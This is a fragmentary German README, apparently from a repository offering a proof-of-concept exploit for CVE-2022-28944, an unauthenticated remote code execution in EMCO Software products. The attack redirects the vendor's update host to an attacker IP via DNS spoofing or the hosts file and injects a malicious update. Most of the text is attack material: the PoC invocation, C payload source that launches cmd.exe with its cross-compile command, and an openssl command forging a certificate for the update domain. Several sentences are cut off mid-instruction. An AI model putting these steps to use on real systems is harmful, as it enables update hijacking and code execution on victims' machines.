gar-re/cve-2022-28944Proof-of-Concept-Exploit für nicht authentifizierte Remote-Codeausführung in EMCO-Softwareprodukten über DNS-Spoofing und bösartige Update-Injektion.
Sicherheitslücke bezüglich nicht authentifizierter Remote-Codeausführung über Updates in mehreren Produkten von EMCO Software.
Verwendung: python3 cve-2022-28944_poc.py
Details im Bericht auf gerr.re.
storage.emcosoftware.com auf unsere Angreifer-IP;
c:\windows\system32\drivers\etc\hosts auf dem Zielsystem.
proof.c auf dem Angreifer, z. B. mit i686-w64-mingw32-gcc proof.c -o proof.exe;#include <windows.h>
int main(int argc, char const *argv[]){
WinExec("cmd.exe",1);
return TRUE;
}
openssl req -new -x509 -keyout storage.emcosoftware.com.pem -out storage.emcosoftware.com.pem -days 365 -nodes -subj "/CN=storage.emcosoftware.com"